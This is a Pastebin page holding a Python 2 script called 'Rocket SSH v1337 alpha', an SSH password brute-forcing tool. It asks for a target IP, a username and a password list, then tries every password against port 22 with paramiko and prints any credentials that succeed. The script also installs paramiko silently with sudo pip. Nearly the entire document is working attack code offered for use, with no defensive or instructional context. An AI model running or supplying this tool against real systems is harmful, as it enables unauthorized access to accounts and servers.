Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- import os, sys, time
- os.system("clear")
- welcome = """
- ▄▄
- ▀▀▄▄
- ▀▀▄▄
- ▄▄▀▀
- ▄▄▀▀
- ▀▀ ▀▀▀▀▀▀▀▀▀▀
- ██████ ██████ ██ ██
- ██ ██ ██ ██
- ██████ ██████ ██████
- ██ ██ ██ ██
- ██████ ██████ ██ ██
- Rocket SSH v1337 alpha
- """
- try:
- time.sleep(0.5)
- print welcome
- time.sleep(1)
- raw_input("[*] Press 'enter' to continue...")
- time.sleep(0.5)
- print "[-] The module 'paramiko' is needed to run this program."
- time.sleep(3)
- print "[-] It will now be installed automatically."
- time.sleep(3)
- except KeyboardInterrupt:
- print "\nBye bye :("
- time.sleep(1)
- sys.exit(1)
- os.system("sudo pip install paramiko")
- os.system("clear && clear")
- import paramiko, socket, requests
- global host, username, line, input_file
- line = "\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n"
- print welcome
- print "[*] Press 'enter' to continue..."
- print "[-] The module 'paramiko' is needed to run this program."
- print "[-] It will now be installed automatically."
- time.sleep(0.5)
- print "\n[-] Enter the following information..."
- try:
- host = raw_input("[*] Target IP: ")
- print "OK"
- username = raw_input("[*] Username: ")
- print "OK"
- input_file = raw_input("[*] Password list: ")
- print "Verifying path..."
- if os.path.exists(input_file) == False:
- time.sleep(1)
- print "\n[!] Error, path does not exist! "
- time.sleep(1)
- sys.exit(2)
- elif os.path.exists(input_file) == True:
- time.sleep(1)
- print "OK"
- time.sleep(1)
- os.system("clear")
- print "\nAttempting to connect..."
- except KeyboardInterrupt:
- print "\nBye bye :("
- time.sleep(1)
- sys.exit(1)
- def ssh_connect(password, code = 0):
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- ssh.connect(host, port=22, username=username, password=password)
- except paramiko.AuthenticationException:
- code = 1
- except socket.error, e:
- code = 2
- except KeyboardInterrupt:
- print "\nBye bye :("
- time.sleep(1)
- sys.exit(1)
- ssh.close()
- return code
- input_file = open(input_file)
- print ""
- for i in input_file.readlines():
- password = i.strip("\n")
- try:
- response = ssh_connect(password)
- if response == 0:
- print("%s[-] Username: %s \n[-] Password: %s%s" % (line, username, password, line))
- elif response == 1:
- print("[-] Username: %s [-] Password: %s ==> Error, bad credentials! <==" % (username, password))
- elif response == 2:
- print("[!] Error, host %s is not reachable!" % (host))
- except Exception, e:
- print e
- pass
- except KeyboardInterrupt:
- print "\nBye bye :("
- input_file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement